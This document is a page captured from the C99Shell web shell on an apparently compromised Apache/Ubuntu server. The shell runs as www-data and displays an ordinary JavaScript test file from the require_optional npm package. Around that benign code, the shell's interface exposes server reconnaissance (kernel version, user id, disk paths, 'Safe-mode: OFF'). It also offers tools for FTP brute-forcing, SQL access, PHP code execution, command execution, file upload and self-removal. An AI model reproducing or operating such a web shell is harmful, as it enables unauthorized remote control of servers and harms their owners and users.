!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/wincloud_gateway/node_modules/require_optional/test/   drwxr-xr-x
Free 12.99 GB of 57.97 GB (22.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     require_optional_tests.js (2.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
var assert = require('assert'),
  require_optional = require('../'),
  nestedTest = require('./nestedTest');

describe('Require Optional', function() {
  describe('top level require', function() {
    it('should correctly require co library', function() {
      var promise = require_optional('es6-promise');
      assert.ok(promise);
    });

    it('should fail to require es6-promise library', function() {
      try {
        require_optional('co');
      } catch(e) {
        assert.equal('OPTIONAL_MODULE_NOT_FOUND', e.code);
        return;
      }

      assert.ok(false);
    });

    it('should ignore optional library not defined', function() {
      assert.equal(undefined, require_optional('es6-promise2'));
    });
  });

  describe('internal module file require', function() {
    it('should correctly require co library', function() {
      var Long = require_optional('bson/lib/bson/long.js');
      assert.ok(Long);
    });
  });

  describe('top level resolve', function() {
    it('should correctly use exists method', function() {
      assert.equal(false, require_optional.exists('co'));
      assert.equal(true, require_optional.exists('es6-promise'));
      assert.equal(true, require_optional.exists('bson/lib/bson/long.js'));
      assert.equal(false, require_optional.exists('es6-promise2'));
    });
  });

  describe('require_optional inside dependencies', function() {
    it('should correctly walk up module call stack searching for peerOptionalDependencies', function() {
      assert.ok(nestedTest.findPackage('bson'))
    });
    it('should return null when a package is defined in top-level package.json but not installed', function() {
      assert.equal(null, nestedTest.findPackage('es6-promise2'))
    });
    it('should error when searching for an optional dependency that is not defined in any ancestor package.json', function() {
      try {
        nestedTest.findPackage('bison')
      } catch (err) {
        assert.equal(err.message, 'no optional dependency [bison] defined in peerOptionalDependencies in any package.json')
      }
    })
  });
});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0311 ]--